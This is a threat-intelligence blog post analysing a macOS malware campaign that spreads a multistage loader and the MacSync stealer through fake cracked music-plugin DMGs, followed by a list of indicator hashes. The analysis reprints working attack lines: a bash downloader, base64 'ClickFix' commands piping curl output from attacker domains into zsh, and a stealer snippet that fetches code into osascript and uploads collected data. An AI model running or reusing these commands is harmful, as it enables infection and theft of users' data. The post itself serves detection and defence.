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The Sequence by Iru

macOS Malware Analysis: Music Plugin DMG Loader

February 19, 2026

Calvin So Calvin So
Threat Intelligence

On February 4, 2026, security researchers discovered a mass-distributed loader disguised as predominantly cracked music plugin DMGs used to deliver multiple multistage macOS malware, such as Odyssey and MacSyncStealer, in addition to a Mach-O binary containing another loader to an additional payload.

The malware attempts to run harmful scripts immediately when executed. It also uses a 'ClickFix' style attack via browser pop-up to trick users into manually copying and pasting malicious code, potentially re-infecting the system even after an initial compromise. Researchers believe the potential of this is a loader as a service (a malware distribution service sold to other criminals) and is part of the broader Pay-Per-Install (where attackers earn money for each successful infection) ecosystem targeting macOS users.

Analysis

DMG File

775dc2f44ce173a67f77ba6b30f354495024078f5d4626fd02ae5bc9ea438705

Threat actors utilize social engineering to deceive users into installing malicious DMG files disguised as cracked music plugins. Although the DMGs are unsigned, the social engineering lure successfully convinces users to attempt to execute files manually.

Within the DMG's Installer directory, researchers identified two critical artifacts: a malicious mach-O binary and a bash script. The latter functions as a secondary distributor for 'ClickFix' lures and additional infostealer payloads.

Installer.plist

775dc2f44ce173a67f77ba6b30f354495024078f5d4626fd02ae5bc9ea438705

Security researchers have discovered this specific property list (plist) configuration embedded within over 100 malicious DMG files disguised as cracked music software. This .plist, housed in Installer/.Trashes/672/Setup.app/Contents/Resources/Installer/installer.plist file acts as a hidden configuration script that instructs a background process to communicate silently with a remote server at mac[.]fleebottom-33[.]xyz. Its primary function is to transmit campaign-specific tracking IDs and retrieve secondary malicious payloads or instructions without the user’s knowledge.

While the command-and-control (C2) domain mac[.]fleebottom-33[.]xyz is currently inactive and does not resolve, it likely functioned as a primary distribution point for secondary malware payloads.

 

xml version="1.0" encoding="UTF-8"

DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">

<plist version="1.0">

<dict>

<key>silent</key>

<true/>

<key>metadataURL</key>

<string>http://mac[.]fleebottom-33.xyz/launch_mac.php

pid=PPIIDD

tid=TTIIDD</string>

</dict>

</plist>


 

Mach-O 

0f5751f207e4825950e476dba2c42548645aba9b680728b57c18ce077b2aa4cf

The x86_64 Mach-O binary, titled “Meta Installer,” resides in the hidden directory Installer/.Trashes/672/Setup.app/Contents/MacOS/. While many macOS binaries use the FAT (Universal) file format to support multiple architectures, this specific file targets only Intel-based systems. Consequently, the binary fails to run natively on newer ARM-based Apple Silicon devices unless the system utilizes the Rosetta translation layer due to being x86_64 architecture. During execution, the installer parses the Installer.plist to extract a specific URI, which it then uses to retrieve additional malicious payloads from a remote server.

While social engineering attempts to entice users to manually bypass Gatekeeper, the 'Meta Installer' Mach-O remains subject to XProtect's static and behavioral signatures. To circumvent this remediation, threat actors have pivoted to multi-stage execution chains, leveraging obfuscated shell scripts and ClickFix-style lures to execute payloads outside of the traditional app bundle structure.


Mach-O retrieving Plist metadataURL key:

 

 

Blocked by Xprotect:

 

Shell Scripts

Stage 1: Bash Script

753aac214568c5f388488fb2d28b872de26faa3fee03d723b8401a968984cda4

The infection chain utilizes a straightforward, unobfuscated Bash script located in the Installer directory to facilitate the second-stage payload delivery. By gathering the host's operating system version via sw_vers, the script constructs a request to the hardcoded C2 domain com.airportsock[.]xyz.

While parameters such as tid, pid, and filename vary across samples to track specific campaigns or victims, the ORIGIN_LINK has remained a consistent primary indicator. The script downloads the payload to the /tmp directory, grants it execution permissions via chmod 755, and executes it as a background process.

Bash Script payload

#!/bin/bash

OSX_VERS=$(sw_vers -productVersion)

ORIGIN_LINK="http://com.airportsock.xyz/972a8252-157e-42e3-baea-a42eaf04708f

tid=56936259

pid=3942

osx=$OSX_VERS

filename=Download+iZotope+Ozone+Pro+v9110+WiN-OSX++Plugin+Crack"

downloadPath="/tmp/"

{ curl -L $ORIGIN_LINK --output ${downloadPath}init

chmod 755 ${downloadPath}init

bash ${downloadPath}init

Curl URI formed:

http://com[.]airportsock[.]xyz/972a8252-157e-42e3-baea-a42eaf04708f?tid=56936259&pid=3942&osx=14.5&filename=Download+iZotope+Ozone+Pro+v9110+WiN-OSX++Plugin+Crack

Stage 2: Fetched payload to execute

5a7b4282695da750736ca5eb0ef38b8374339a9d4407e7ecf0ac7e4c8da20a31

The secondary stage utilizes the domain robincompany[.]xyz as a redirector. Notably, the URI includes an affId=1000 parameter, signifying an Affiliate ID. This confirms the campaign is part of a broader Pay-Per-Install (PPI) distribution network, where actors are financially incentivized to drive infections via unique tracking identifiers. Following the redirect, the script decodes content via base64 -D and then executes it via zsh.

The deobfuscated content does a curl request to ballfrank[.]today via switch -kfsSL to silently retrieve the MacSyncStealer payload for Stage 3. However, researchers observed a pivot in the 'ClickFix' social engineering lures: while the malicious commands remain identical, the delivery infrastructure alternates, utilizing kuturu[.]com to serve the same final-stage payload.

As of the time of writing, the distribution domain ballfrank.today is currently non-responsive (Cloudflare Error 522), suggesting the backend infrastructure has been taken offline or is intentionally rejecting proxied connections to hinder automated sandbox analysis.

Stage 2 Fetched payload content: 

open "https://robincompany[.]xyz/index.php?o=506&source=filecore&title=Setup&affId=1000"

echo "Apple-Installer: https://apps.apple.com/hidenn-gift.application/macOsAppleApicationSetup421415.dmg" && echo 'ZWNobyAnSW5zdGFsbGluZyBwYWNrYWdlcyBwbGVhc2Ugd2FpdC4uLicgJiYgY3VybCAta2ZzU0wgaHR0cDovL2JhbGxmcmFuay50b2RheS9jdXJsLzljZTQzOGYzYjc2OGMxZmEzMTgxMTc1MzExMDQwZGEwZmNiNmE5OGM1OWY0MjA5ZjgzZmNjM2MwMDJjMDlkN2V8enNo'|base64 -D|zsh



Decrypted base64 payload:

echo 'Installing packages please wait...' && curl -kfsSL http://ballfrank[.]today/curl/9ce438f3b768c1fa3181175311040da0fcb6a98c59f4209f83fcc3c002c09d7e|zsh

Clickfix browser populated pop-up:

Copied Clickfix content:

echo 'ZWNobyAnSW5zdGFsbGluZyBwYWNrYWdlIHBsZWFzZSB3YWl0Li4uJyAmJiBjdXJsIC1rZnNTTCBodHRwOi8va3V0dXJ1LmNvbS9jdXJsL2VmYzFmODE1M2U1YzAyOGUxNDQzOWVhMzg4ZGE3N2Q2OThmMWVhZTdmMDA4MmY5ZGNiNjMwNWU2ZGJlODRiYWN8enNo'|base64 -D|zsh

Decrypted: 

echo 'Installing package please wait...' && curl -kfSSL http://kuturu.com/curl/efc1f8153e5c028e14439ea388da77d698f1eae7f0082f9dcb6305e6dbe84bac|zsh

 

Stage 3: Infostealer payload

cef9159155222472a198ccd4e18ba6df965e75d3f23e9e8e968e963ce75ef8f0

The retrieved payload is the obfuscated Macsync stealer variant. Once deobfuscated, the script fetches additional payloads for subsequent stages from kuturu[.]com and executes them locally via osascript. It specifically targets /tmp/osalogging.zip, attempting to upload it to the attacker's server as a single POST request or in managed chunks before deleting the local evidence.

Retrieved infostealer payload:

 

Snippet of deobfuscated script:

#!/bin/zsh



daemon_function() {

 #exec </dev/null

 #exec >/dev/null

 #exec 2>/dev/null




 local domain="kuturu.com"

 local token="efc1f8153e5c028e14439ea388da77d698f1eae7f0082f9dcb6305e6dbe84bac"

 local api_key="5190ef1733183a0dc63fb623357f56d6"

 local file="/tmp/osalogging.zip"




 if [ $# -gt 0 ]; then

 curl -k -s --max-time 30 \

 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" \

 -H "api-key: $api_key" \

 "http://$domain/dynamic?txd=$token&pwd=$1" | osascript

 else

 curl -k -s --max-time 30 \

 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" \

 -H "api-key: $api_key" \

 "http://$domain/dynamic?txd=$token" | osascript

 fi





Conclusion

This campaign demonstrates the evolving sophistication of macOS threats, moving away from simple binaries toward complex, multi-stage "Loader-as-a-Service" models. By combining social engineering lures like cracked software with "ClickFix" browser prompts, attackers effectively bypass traditional gatekeeping by tricking the user into becoming the executioner of the malware.

Iru Endpoint Detection & Response (EDR) automatically removes detected threats when file monitoring is set to Protect. In addition to standard file-based defenses, Iru EDR actively monitors for and blocks behaviors associated with information stealers, ensuring your devices remain secure even if malicious scripts attempt to execute.

Indicator of compromises

 

DMGs

02824de8aa75504d2e7958a67d3541c89af4031587247d44c79dea1554eeede5

02a2f0957229e68ff03eb2dd4efa6831a1beefe9e8fc4b4481c4194c6a0052ca

c1546958a51022647c932bf006e1817b39331dff60b33c99bd374bede0e48b54

47f8c34f744cb16ed9759a60c01e1e8072ea6cd23d1eba3c55449cb90898809d

3e232e216478efaef315040b9d98a24e1e4401cbaee691a6992dc6a2ea716a2b

5df1d3be42e911d3e2b8e6f53fec04f6b49d8c87d78ac0e702d4af1f6010a25e

cd8ff4618131df56990de265b82ec827f9451b6aa2ce545231b076cc615c87f1

006441b6f5f8c96ab4ba773764454023bfa06c377f79f6e2e4b3d2fc00fc89f8

890e5bd56e688107250260d8cfbf3ac3cec822cfe7150e22da9cf60c3848d81c

9142f7a7e879c58cd195ba109f01dc0ca13c7eea911158dfa485824ed984688a

fb21287c3aa2522b16ca4d0770c732407178ccd5c10c4cb61c30a0bde9041305

818f3882ae79ab44d0dce2121283c5f7c3128770b1edbb31dedc7e4d58bd05b5

627c7b1dd33a6257820a2e80b640b00b6fd931ed2194e68b5c5fa2ca138e4634

4f06edbfda1fb615c5423ed030dbfd7a241daf570b1a2d256f03900c3195361b

f030e32831eed474411eb86c6d3340bad6e0f6ecd4105bf2a1fc802584fa4a70

be8e2573ba6dafe8ed47b5ddc891b6355ceb708b8db3c160921bd02f76208507

29fb28dd2aa34578f814660f18be015a1a8fd917aeced63ee995a4976f2427fc

2f0c736ced7f4752d77bd3d8cb37ec78ff808e79d4a693254f8d452951864712

af8bc7931ca8e5f0514780db03a7151a789c63547c6774f42c3d3cd4dbfd57b6

c440cfb1b8b5ece6012ed6525e166c241c993a081076a571bd49341a44bc1bed

1438aca382e8be3addc8a2468fd68021eecf5100aab758bb129b7f4089f4ca53

4550278bba662211129537700718d8fe4bbbf4d1779906b126f5b1d8ea68e9c9

d8ec1281f99e2847f5e21cc70bc436777531ee91502e244481cca78730ce7883

a39f455fdcdc172c56f10745295a19c99f12576ddf021a2078d05d3538fbbc00

b55d4cad689ed8e7bc635b343aff066f673242abce3e2cd6b80f812faec847a4

8798dd4d6eaf9aa6a2658a7b0f8cb821d06f0c52df3040b00fc9cb77cca3c8b2

0524a828df14ce9f557880f4c1c7877c4d60805c49614f5c281a4a0eca968fe5

c6548fa558b7132608dbea9799d37bebdb6d2627eceae55b4f5fb240ecbc5a7a

e9b283a8323a1cd39abe2a8a70e6984899101d91dff859d0ea2b471ec9a6367d

9d98aaa2ca7913feff06a083b5ca365527da30f9aaadcadfb9b7fa5be131532a

41ff9cbb3e0aae1b1eaa2e450bbab02f38c57ced3def53206e45843f067dd919

f82813df9fd8f7155f2fd79668726b0c20e138f8af65ed3066370205ad62a7e1

3d72cbd048f84adbf10d2fd671d6f8caf8a8662ced9f6a54965646b8538e78fe

4561ca21967615a64327e41d2920bd5defb500965b4ce7552e028b324f76a64b

00bc1123ce8f7abc46a7cbb2b0f94b15ada6070ad8aa88ac1e112327e5cffe24

 

Downloader Mach-O binary:

0f5751f207e4825950e476dba2c42548645aba9b680728b57c18ce077b2aa4cf

 

Plist: 

775dc2f44ce173a67f77ba6b30f354495024078f5d4626fd02ae5bc9ea438705

 

Stage 1 Bash Script hashes:

0fe8540c8ce1de66494a8330dd7f8715fe1048dc038a746cbc8e141222db7aca

fe6e5f076aae76d83a6caed2f376dc9549455f45813aab1e09f8d88e9a485adc

b2d5e3ab16539387854c33376ee85739326b5974b78d9ea6d07b80f264d8f40d

cf8fc13b62f3cc9f5ed77f6d3d7da47369b82b4bcde98b46c07ecf8afa873708

102356fd81d090096a54181fd70f68dbe139ed343bc436a13ddba0a3e329c34f

eb0bfa42aaf67165d1f4c7d4c880852b595c95b36522bad168ad374b83e8e2f1

839dba21d1f2f2188a805c62c966299f5f7560ad4276d4fa282d154a4dc58e8c

c3a99e55fd9540cf39b0700e8477d145379b6a0cf9d352c219886bae59a9daed

dc44a0ed9f4ca32d104fecca206799a838770160810c1e05eb6190f5e15b7bd2

8c2ac2ff1b60d76716ab472f880da1fcec551e1d856d878c403d663e7e754236

275305c05f50f78225e00c01c83e709baf8ce85416499d3f4dff953b9342ece8

79e4aef4d83e92a87c172f031c65742af6b5a234d2f5082863a9d867438544c2

1e4acbe0f35817076da62d9cbd357a2268a546bba5b809413d2aa0796fdd038c

31ad3f8b0dc1cf58f496a6796617d1f5721fca048cba26e79da1edb5153556d0

c68038390b8e07693d4f45f6fa37a33b7f688015ab70ebb077acbd8a35416347

0f1f3b724235af2d84831d747bc8787a2af0e87db2cb2729dd978ea88f83b91b

aa4a952a27f453e8647a1edd5a98221b43a0d6bfaa62e726836b1cdc148a3d6a

5f58d4a26b652170a96954ea8dbde2f9ee8846946ce98f98d4cceb20420d01ea

ad5fa31ece8f173bf09b5b608d5fc13a0479777fc4a853ef2769e74c626ca6b7

f34c1eebb72004fd7e8fe74e531b0246d3df46c30d284b1dd300cc3dfc2e455b

6a42622f95d28c0a029239e921c1382390e2752552927ecebc3556b5c4d5965d

a941d85c17cac94b9bf8c9f315be97e9d6c2bfbbb456d0dab7cfe896ed127737

99fcb26e859c049c942a34067f3e0508f350e1b485337c78b3f06bcd0a51aab6

13ff96661288165623e66ec4e67e8239e0ff3be19fb2d77565878658126e6861

0c3620513f6cfbd48e28072ad1b9bb016e29abd8141672ac84f9368a1b19af77

b7a1fd6ce093354b95a51ef2afdecd5c274d592dd3dc53d160a7fa18d6b4049a

b77f18598f9e27a78f23967fdb77b882a4c79787c7952f17339d3a34aaf65d0d

47d47ed11255759681fb34783532f4e99fb32906acc170da4753b6a3cd53b29f

753aac214568c5f388488fb2d28b872de26faa3fee03d723b8401a968984cda4

209d4bbe3a8b754247aa5651f6f22780bb2b097c0e3d2a4d856fd8536eb4eccb

0d301ffe3daa7d1b4e85cdb061c57552251b4e9a52b8577f6f16dfec4bdbbcff

14022cd45d35153038ef803e56bbf900f0282a39ce23bdfdd0a9b41c8e3f75a2

5d4dbba45e3f1705edc534cd3fa8b4d87508ae54abb8c7d2a8f10b12187f4bbe

bc96b2b3d6d900bd65f836753dc9400a3c5a4dca75f3c58275c8bf7cdb3a7168

18222f4059191a49d2d857f06033608dd76e9dcec47edd68db5e0da6e11b5be7

eeb2b987e1a211d24530443221cebb052fb7364cd7be848b8aa7b3130057c866

9e7dcce86f232a65b3427a46221ad86f21f81adef9794fd113aa5a9022df2666

f019dba22c8105ba91f2436cb2a4b1c71cde4a7b4f1cf6fdd214f1a72c1cbcf5

c7e70ce7cb680a68d52a66fdd54d0c22d21686f798182976895d0fccb106022b

729abbbaed1c64b3c020b289c9ae071b29a08520ed8240203b0bd182066522a0

4a36c191e15ea43a55ed85e91b2804ed1687d90b4d97a012e4159ed5beed1f00

e3e422a6f1fd399b7820d4088f4a3de7b19a0f193013dd535ddf3a923e1fd15a

dc28d7c5fdfcef5e8049a1c4fdb9c168a42ce7f916e7448c52385e51b4e20b3f

ada028b144f3c8a856303e9930adf9f1b59f34a04ab123ffaedf64f3edb3f2ef

4e1042d0fdced5d78e65790e7311e21adc03ac073f2deb0b2f4a9d937110a58f

261b2ba545944babe9e74f185d32ab54543cb5ff91c8991ebea9d8e9c10bc7c9

b4132582a80aaf993f1f0c0c7bbd3a9b318d066376f8ed9a3919f2ee1abcba32

a73b0f553f289fab5e62cdc4954907aa2b4662f27709c05608631ebc140952c7

970de316b6af0ff7600336be9fc5bb0db59a8924c9527bc8c5ef38f6fed3b368

f7662ba0bcab3e2e187071afd928acff38ce58f9990f58509fabeb7f2986ebe5

 

Stage 2: Fetched payload to execute

5a7b4282695da750736ca5eb0ef38b8374339a9d4407e7ecf0ac7e4c8da20a31

 

Stage 3: Macsync Stealer

64068d0b7fbef87a7af91834ead9bc0efa21f814b9e6a945b440db75bbcfed76

2024f704b123b9bba8f6a51b4403af85c789b3c71bf51bdccb133fd7e635f812

b03658a2893c8860c799df3e9a3d031defeae50bb1f28c41d4b99871cb6f0076

50446301c5900fbf5a51108d9f37ac0da827ef1f35377cfbfc4d35b6cab0f0dd

093c7186baab476de23bb39dff5a591ca4f551d8c6695029780203865fe03f0f

a757ac99e9ef9d6497a685059b4c389c9c35deb705348ddee83d8fa61913252e

b96cb73a7e051d4206c8589bd6297a3cccb1fdcccc4c918313cd03189cd38341

a2009beb4ef41c5ffe81bd89921f9311a89e260d9424b61fd0cdfa9d73ca42f2

4e632566cf0a536bfeb6887608daf749953ac541123c276f0e4f0715e23d1dc2

924336fab9e7f0c1527551d69abf40d203b58b1394ed7e541db74b8b41d86470

e59378642b40af2c68ae225500f74eb6413a0da3f00b81413298dfe415184919

ac012808059775238fc8d924d6b79115be5b04575447c9d337e36d380cd7bc7e

cfec1c5f29c13411dd5bd7d6c06ce0bce36fc24738ae43cbe16b17489e179bb2

59248ca59647d92e2aed09746a2d7bb302ed8e106d6086cb1c1ea5a2151b24dc

8cd40e53285035d74bbfaf191d0edabf5c1450cc45e5f03acbf3d4f15fb8befd

3554873779975dc41f69fad43f9659b1402db2648cba8e81e17a8a5ea71568b3

ace876938538b87f89236e68d8b697f71587f3f9ad8f6ba2d1457a52f26b405e

219e0677853b7c817a8b145cffbbff80f3583bff405634050b442949e3b8be54

61215565acd7c4350e7041dbb23238d2751602cab7d0f42173b472d734fd33e1

0b1dc65e2403c56c0ae0aab48988a1d497fcc33d42f65b6c7d8a3a5febaafc3c

05a995a57bcfa0083a95ee8e17b01d94f4ef00079a2eaf101fb1fd6f43da0eb6

0f9782df94b3d431806fd8ac4ac346a6d755bd76b0010c6bb0db9a3e557be51d

f4c7a7c02bdc3dd4b4c6892f7931709e331eb0a3b1f8df59306632477f0956a5

5e3aefd7668cb5eb4da18b1040847029dddb55096a922658633bc85fb5008b7a

d0b3bb9c131adb9890b26ea183070a826b8c5d314fd014fcabc669156d8aac9d

380a18372968f7f07c744604ccede3e10a90693c4e3f05fffd3d01db5433e366

6384f618437fe5d16b04a575e6fffa65e1f68ea93bdbebba50de50fcf7e6520b

f492720327293cea451fdd0007915f6fe408c9aa2acb6d85c4bcf4c81a2d9888

1a663865c2b621a3121845403b393ae1381fc8ec8754cbfa70efd2808603c214

29d17044cc78cdea6de1be336c96ae843edd6a9cdade573a12ef8c1cd573c8c4

f39da38a6c868a32a4512c0daaf0a7818cd78dd6aadc2f2c879a3b495398bd15

20b538aaaa699c21ed5e492bf252eade8b68e804548c7039281f04305c00bf8b

513d5ad24a89efb3494d3dee155b8d7b34abd1360daa5182f0c5b177f43d6637

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41dcd8fb4c2fd6c4997c2cf72c190f40caf16273b2184fa48d50e2d775093cc2

64c9dea35458911902cb6012973fbffe058d8f75cbff3f3e1fbcdbba413472b5

ad10b8843809c2626e77955c2bea7df620bc98cac5e78cd72a3a5cbccf1465d8

9238e0e014aadc3e7100f442ee23ebb00b4f5237df18360a60470b46ead813dd

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